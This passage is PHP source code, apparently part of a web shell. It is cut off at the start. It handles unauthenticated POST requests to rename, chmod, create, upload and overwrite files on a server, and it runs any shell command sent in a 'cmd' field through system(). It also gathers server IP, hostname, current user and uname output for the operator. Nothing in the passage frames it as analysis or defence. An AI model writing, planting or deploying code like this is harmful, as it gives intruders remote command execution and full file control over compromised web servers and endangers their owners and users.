$path])); exit; } } // Handle rename if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $from = $path . DIRECTORY_SEPARATOR . $_POST['rename_from']; $to = $path . DIRECTORY_SEPARATOR . $_POST['rename_to']; if (file_exists($from) && !file_exists($to)) rename($from, $to); header("Location: " . build_url(['path' => $path])); exit; } // Handle chmod if (isset($_POST['chmod_file']) && isset($_POST['new_perm'])) { $file = $path . DIRECTORY_SEPARATOR . $_POST['chmod_file']; $perm = intval($_POST['new_perm'], 8); if (file_exists($file)) chmod($file, $perm); header("Location: " . build_url(['path' => $path])); exit; } // Create folder if (isset($_POST['new_folder'])) { $new = $path . DIRECTORY_SEPARATOR . trim($_POST['new_folder']); if (!file_exists($new)) mkdir($new); header("Location: " . build_url(['path' => $path])); exit; } // Create file if (isset($_POST['new_file'])) { $file = $path . DIRECTORY_SEPARATOR . trim($_POST['new_file']); if (!file_exists($file)) file_put_contents($file, ""); header("Location: " . build_url(['path' => $path])); exit; } // Upload file if (isset($_FILES['upload'])) { $dest = $path . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); move_uploaded_file($_FILES['upload']['tmp_name'], $dest); header("Location: " . build_url(['path' => $path])); exit; } // Handle file save (edit) if (isset($_POST['save_file']) && isset($_POST['filename'])) { $file = $path . DIRECTORY_SEPARATOR . $_POST['filename']; file_put_contents($file, $_POST['save_file']); header("Location: " . build_url(['path' => $path])); exit; } // Shell command execution (gunakan POST agar aman) $output = ''; if (isset($_POST['cmd'])) { chdir($path); ob_start(); system($_POST['cmd']); $output = ob_get_clean(); } // Informasi tambahan: IP server, domain, user, uname $server_ip = gethostbyname(gethostname()); $remote_ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $server_name = $_SERVER['SERVER_NAME'] ?? 'Unknown'; $user = get_current_user(); $uname = php_uname(); ?>
= htmlspecialchars($output) ?>